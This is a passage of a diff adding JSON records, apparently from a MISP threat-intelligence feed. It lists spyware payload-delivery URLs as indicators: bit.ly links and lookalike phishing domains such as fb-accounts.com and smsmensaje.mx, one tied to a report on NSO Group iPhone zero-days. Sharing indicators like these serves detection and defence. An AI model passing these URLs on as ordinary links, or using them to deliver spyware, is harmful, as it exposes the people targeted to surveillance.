"ShadowAttribute": [ + + ] + }, + { + "id": "16225", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ad-fe1c-4872-a3fd-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/1s2eguc", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16226", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ad-e780-479f-af9e-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/1SU5N7q", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16227", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ad-3fc4-49a7-a84a-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/1TTjm6D", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16228", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ad-17e0-4953-ae3e-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/1twXSDl", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16229", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ad-136c-40a3-bf90-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/1U0yzVG", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16230", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ad-e0e8-4d3d-a2f5-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/1Wzryvp", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16231", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ad-4d6c-4191-96dd-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/1WzrZ8T", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16232", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ad-5060-4c84-b0e5-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/1X9kJRJ", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16233", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-c9ec-4d6b-aeb1-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497453", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/1XFaS4F", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16234", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-8e00-41c6-825e-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/1Xxf32k", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16235", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-8354-4c49-b7a1-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/1z2NQdh", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16236", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-c494-4b9b-9676-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/20Y9r10", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16237", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-215c-4101-bdc5-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/235giae", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16238", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-7874-44b6-8638-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/246dkRy", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16239", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-7660-4301-91cd-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/246doke", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16240", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-f278-41ad-9e79-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/25nmH1O", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16241", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-2e38-4e91-a008-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/292heXd", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16242", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-e8f4-4c6b-9571-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/295RmfH", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16243", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-f250-4615-b9cd-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/295RNq7", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16244", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-83d4-45e0-960e-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/29eWFqz", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16245", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-4be8-45c9-b2dc-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/29eWzzv", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16246", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-d118-4cfe-a0a4-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/29LfZfD", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16247", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-b058-4eb5-bb7b-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/29lQvyh", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16248", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-8ca4-46f9-8c33-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/2a0hZ2l", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16249", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-efbc-487e-ae1a-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/fb-accounts.com\/1074139s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "10", + "org_id": "2", + "info": "The Million Dollar Dissident: NSO Group\u2019s iPhone Zero-Days used against a UAE Human Rights Defender", + "value": "http:\/\/fb-accounts.com\/1074139s\/" + } + } + ] + }, + { + "id": "16250", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-a384-43c4-ae80-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/fb-accounts.com\/2069487s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16251", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-b48c-4a93-9163-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/ideas-telcel.com.mx\/1930327s", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16252", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-d21c-4e4e-94b8-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/ideas-telcel.com.mx\/2110126s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16253", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-4944-4ad9-a7af-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/ideas-telcel.com.mx\/7757294s", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16254", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-ea14-4684-adb1-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/iusacell-movil.com.mx\/7918310s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16255", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-f220-4bee-9df4-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/iusacell-movil.com.mx\/8595070s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16256", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-3e2c-443b-ad7b-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/mymensaje-sms.com\/6649365s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16257", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-909c-4d8d-948a-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/fb-accounts.com\/2408931s", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16258", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-fba4-4030-9c61-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/ideas-telcel.com.mx\/3975827s", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16259", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-738c-4135-aa6c-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/ideas-telcel.com.mx\/5706662s", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16260", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-b9e0-4327-aa26-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/smscentro.com\/9480260s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16261", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-24ec-488e-b0e8-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/smsmensaje.mx\/1239663s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16262", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-593c-49e2-b5e2-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/smsmensaje.mx\/1331744s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16263", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-e034-48d6-83cf-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/smsmensaje.mx\/1493024s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16264", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-0cb8-4da3-9788-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/smsmensaje.mx\/1656017s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16265", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-e150-4ab5-93d5-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/smsmensaje.mx\/1911343s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16266", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-4dc4-4d20-9726-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/smsmensaje.mx\/3376811s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16267", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-b384-4fc8-9951-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/smsmensaje.mx\/3990495s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16268", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-0dbc-485c-9516-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/smsmensaje.mx\/5957475s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16269", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-f4f4-4f6d-9dbe-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/smsmensaje.mx\/6056487s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16270", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-e008-472d-9d03-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/smsmensaje.mx\/6445761s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16271", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-b69c-4aaf-a217-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/smsmensaje.mx\/6881768s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16272", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-7040-450e-97c7-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/smsmensaje.mx\/9093723s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16273", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-1af0-4d3a-be93-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/smsmensaje.mx\/9371877s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16274", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-6aa4-4e7f-a9b3-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/smsmensaje.mx\/9439115s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16275", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-929c-4c73-b5ae-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/smsmensaje.mx\/9936510s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16276", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-4aa8-4962-986c-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/smsmensaje.mx\/[unavailable]", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16277", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-74b0-4be5-be10-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/network190.com\/2066781s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16278", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-82a0-4fed-acdc-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/network190.com\/6214010s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16279", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-191c-4dad-a8df-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/network190.com\/8361397s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16280", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-eba4-4d12-bc80-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/secure-access10.mx\/2618844s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16281", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-cbe0-4757-a1a6-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/secure-access10.mx\/4257391s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16282", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-b0cc-46ad-8fda-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/secure-access10.mx\/7161504s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16283", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-21ac-41b9-956c-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/smsmensaje.mx\/2683786s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16284", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-6b6c-4675-b743-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/smsmensaje.mx\/4494681s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16285", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-2bf8-4f1d-8ed0-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/smsmensaje.mx\/4667624s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16286", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-4054-47ba-b479-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/smsmensaje.mx\/4878494s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16287", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-d08c-48ca-bd09-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/smsmensaje.mx\/5478753s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16288", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-da5c-42a8-aea5-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/smsmensaje.mx\/5732641s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16289", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-6cec-4bb8-b0ec-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/smsmensaje.mx\/5840625s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16290", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-5650-454d-b04a-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/smsmensaje.mx\/7831163s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16291", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-f498-4f27-bb20-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/smsmensaje.mx\/7893029s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16292", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-fa1c-4757-8946-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/smsmensaje.mx\/8435662s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16293", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-9418-41e9-aecc-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/smsmensaje.mx\/8643330s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16294", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-a298-4139-a48b-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/unonoticias.net\/1214510s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16295", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141ae-420c-4615-b723-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497454", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/unonoticias.net\/1419678s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16296", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141af-75cc-4c7e-8e0a-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497455", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/unonoticias.net\/1867745s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16297", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141af-dbd4-4aff-9733-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497455", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/unonoticias.net\/2046803s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16298", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141af-109c-49c0-a621-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497455", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/unonoticias.net\/3651023s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16299", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141af-a2c8-4f54-af98-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497455", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/unonoticias.net\/4392216s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16300", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141af-8e20-4a46-bf32-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497455", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/unonoticias.net\/4709973s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16301", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": "595141af-3c6c-4adf-b195-06b38e96ca05", + "event_id": "104", + "distribution": "5", + "timestamp": "1498497455", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/unonoticias.net\/5027740s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16302", + "type": "url", + "category": "Payload delivery", + "to_ids": true, + "uuid": 